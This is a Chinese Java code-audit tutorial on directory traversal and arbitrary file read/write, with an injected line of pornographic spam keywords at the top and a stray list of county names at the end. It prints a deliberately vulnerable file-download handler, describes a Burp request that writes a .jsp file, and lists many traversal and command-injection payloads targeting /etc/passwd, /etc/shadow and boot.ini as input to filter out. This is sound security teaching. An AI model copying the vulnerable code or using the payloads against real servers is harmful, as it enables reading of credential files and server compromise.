最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

java代碼審計之目錄遍歷的解決

 更新時間:2024年06月23日 09:44:27   作者:樂隊1  
目錄穿越漏洞,也叫做目錄遍歷/路徑遍歷漏洞,本文主要介紹了java代碼審計之目錄遍歷的解決,文中通過案例介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧

1 原理介紹

通過用戶輸入,后端接收到參數(shù)直接拼接到指定路徑下讀取用戶指定的文件名,看似正常,但實際用戶輸入的參數(shù)不可控,黑客將非法的特殊字符作為文件名的一部分,操作到其他路徑下,甚至是跳轉到服務器敏感目錄,讀取敏感的配置文件,例如服務器的密碼文件,程序的數(shù)據(jù)庫,redie等核心配置文件,因此具有一定的風險性。

2 審計案例1

用戶通過form表單輸入文件名稱,通過源碼逐層未對該文件名進行非法字符的過濾與處理,導致任意

文件讀?。夸洷闅v)漏洞的產生。

(1)正常的用戶行為是輸入要讀取的合法文件

(2)黑客利用未過濾文件名或目錄的漏洞讀取了其他目錄下的資源文件

通過遍歷該目錄或上級路徑下的其他文件,例如

3 審計案例2

1、當輸入文件名為../1.txt(上次目錄需要存在),不存在一直../知道存在位置

2、提交之后發(fā)現(xiàn)成功下載到當前目錄外的目錄文件

3、源碼分析

通過用戶輸入文件名之后,后端直接接收了文件名拼接到需要讀取的路徑下,進而讀取了文件,未對來自前端用戶輸入的文件名稱針對非法字符過濾

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<form action="/file1/directroyTranersal02" method="get">
<input type="text" name="filename"/>
<input type="submit" value="uploaddown"/>
</form>
</body>
</html>
//目錄遍歷2
    @GetMapping("/directroyTranersal02")
    public void directoryTraversal02(HttpServletRequest request, HttpServletResponse response) throws IOException {
        //獲取項目部署絕對路徑下的upload文件夾路徑,下載upload目錄下面的文件
//        String root = request.getServletContext().getRealPath("/upload");
        String root = "D:\\20230222files";
        //獲取文件名
        String filename = request.getParameter("filename");
        File file = new File(root + "/" + filename);
        //根據(jù)文件路徑創(chuàng)建輸入流
        FileInputStream fis = new FileInputStream(file);
        //設置響應頭,彈出下載框
        response.addHeader("Content-Disposition", "attachment;filename=" + new String(filename.getBytes()));
        response.addHeader("Content-Length", "" + file.length());
        byte[] b = new byte[fis.available()];
        fis.read(b);
        response.getOutputStream().write(b);
    }

通過源碼分析,獲取到文件名中含有../,當執(zhí)行下載邏輯的時,file類底層將會訪問該路徑讀取資源

如同人工通過瀏覽器讀取文件E:\java_project\FileUpload\src\main\webapp\upload..\1.txt

4 審計案例3-任意的文件寫入

保存模板的后端程序用到dirs字段數(shù)據(jù),猜測此字段輸入數(shù)據(jù)可控來進行文件路徑的重新定位且沒有字符串進行過濾驗證以及擴展名也沒有任何限制

隨后對該API請求的路徑以及數(shù)據(jù)流進行追蹤,發(fā)現(xiàn)依然是模板新增或編輯頁面為用戶輸入的關鍵位置。

1、打開模板目錄下的,對404.html進行提交

2、burpsuit抓包之后修改請求,將dirs的制前邊添加..%2F..%2F..%2F,修改文件名后綴為.jsp,同時也可以在file_content添加payload

但是不知什么原因沒有成功

5 修復方案

1、 凈化數(shù)據(jù):對用戶傳過來的文件名參數(shù)進行硬編碼或統(tǒng)一編碼,對文件類型進行白名單控制,對包含惡意字符或者空字符的參數(shù)進行拒絕。

主要的惡意字符包括不局限于如

..
..\
../
%2e%2e%2f which translates to ../
%2e%2e/ which translates to ../
..%2f which translates to ../
%2e%2e%5c which translates to ..\
%c1%1c
%c0%9v
 %c0%af
..%5c../
../../../../../../../../../../../../etc/hosts%00
../../../../../../../../../../../../etc/hosts
../../boot.ini
/../../../../../../../../%2A
../../../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../etc/shadow%00
../../../../../../../../../../../../etc/shadow20 /../../../../../../../../../../etc/passwd^^
/../../../../../../../../../../etc/shadow^^
/../../../../../../../../../../etc/passwd
/../../../../../../../../../../etc/shadow
/./././././././././././etc/passwd
/./././././././././././etc/shadow
\..\..\..\..\..\..\..\..\..\..\etc\passwd
\..\..\..\..\..\..\..\..\..\..\etc\shadow
..\..\..\..\..\..\..\..\..\..\etc\passwd
..\..\..\..\..\..\..\..\..\..\etc\shadow
/..\../..\../..\../..\../..\../..\../etc/passwd
/..\../..\../..\../..\../..\../..\../etc/shadow
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
.\\./.\\./.\\./.\\./.\\./.\\./etc/shadow
\..\..\..\..\..\..\..\..\..\..\etc\passwd%00
\..\..\..\..\..\..\..\..\..\..\etc\shadow%00
..\..\..\..\..\..\..\..\..\..\etc\passwd%00
..\..\..\..\..\..\..\..\..\..\etc\shadow%00
%0a/bin/cat%20/etc/passwd
%0a/bin/cat%20/etc/shadow
%00/etc/passwd%00
%00/etc/shadow%00
%00../../../../../../etc/passwd
%00../../../../../../etc/shadow
/../../../../../../../../../../../etc/passwd%00.jpg
/../../../../../../../../../../../etc/passwd%00.html
/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd
/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c.
.%25%5c..%25%5c..%25%5c..%00
/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c
..%25%5c..%25%5c..%25%5c..%00
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c.
.%25%5c..% 25%5c..%25%5c..%00
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c.
.%25%5c..% 25%5c..%25%5c..%255cboot.ini
/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c
..%25%5c..%25%5c..%25%5c..winnt/desktop.ini
\\&apos;/bin/cat%20/etc/passwd\\&apos;
\\&apos;/bin/cat%20/etc/shadow\\&apos;
../../../../../../../../conf/server.xml
/../../../../../../../../bin/id|
C:/inetpub/wwwroot/global.asa
C:\inetpub\wwwroot\global.asa
C:/boot.ini
C:\boot.ini
../../../../../../../../../../../../localstart.asp%00
../../../../../../../../../../../../localstart.asp
../../../../../../../../../../../../boot.ini%00
../../../../../../../../../../../../boot.ini
/./././././././././././boot.ini
/../../../../../../../../../../../boot.ini%00
/../../../../../../../../../../../boot.ini
/..\../..\../..\../..\../..\../..\../boot.ini
/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini
\..\..\..\..\..\..\..\..\..\..\boot.ini
..\..\..\..\..\..\..\..\..\..\boot.ini%00
..\..\..\..\..\..\..\..\..\..\boot.ini
/../../../../../../../../../../../boot.ini%00.html
/../../../../../../../../../../../boot.ini%00.jpg
/.../.../.../.../.../
..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini

2、 web應用程序可以使用chroot環(huán)境包含被訪問的web目錄,或者使用絕對路徑+參數(shù)來訪問文件目錄,時使其即使越權也在訪問目錄之內。www目錄就是一個chroot應用. 由chroot創(chuàng)造出的那個根目錄,叫做“chroot監(jiān)獄”(所謂"監(jiān)獄"就是指通過chroot機制來更改某個進程所能看到的根目錄,即將某進程限制在指定目錄中,保證該進程只能對該目錄及其子目錄的文件有所動作,從而保證整個服務器的安全,詳細具體chroot的用法,可參考:chroot用法詳解

3、 任意文件下載漏洞也有可能是web所采用的中間件的版本低而導致問題的產生,例如ibm的

websphere的任意文件下載漏洞,需更新其中間件的版本可修復。

4、 要下載的文件地址保存至數(shù)據(jù)庫中。

5、 文件路徑保存至數(shù)據(jù)庫,讓用戶提交文件對應ID下載文件。

6、 用戶下載文件之前需要進行權限判斷。

7、 文件放在web無法直接訪問的目錄下。

8、 不允許提供目錄遍歷服務。

9、 公開文件可放置在web應用程序下載目錄中通過鏈接進行下載。

到此這篇關于java代碼審計之目錄遍歷的解決的文章就介紹到這了,更多相關java代碼審計目錄遍歷內容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!

相關文章

最新評論

雷山县| 濉溪县| 绿春县| 抚宁县| 永福县| 双鸭山市| 临湘市| 磐安县| 藁城市| 永和县| 绥芬河市| 霞浦县| 怀远县| 突泉县| 漳浦县| 阿拉善左旗| 富顺县| 卫辉市| 龙门县| 勐海县| 长海县| 阜阳市| 揭西县| 呼伦贝尔市| 礼泉县| 区。| 衡南县| 常熟市| 安庆市| 石景山区| 嘉荫县| 隆昌县| 光泽县| 白玉县| 台中市| 蒲江县| 门头沟区| 安庆市| 息烽县| 论坛| 彰武县|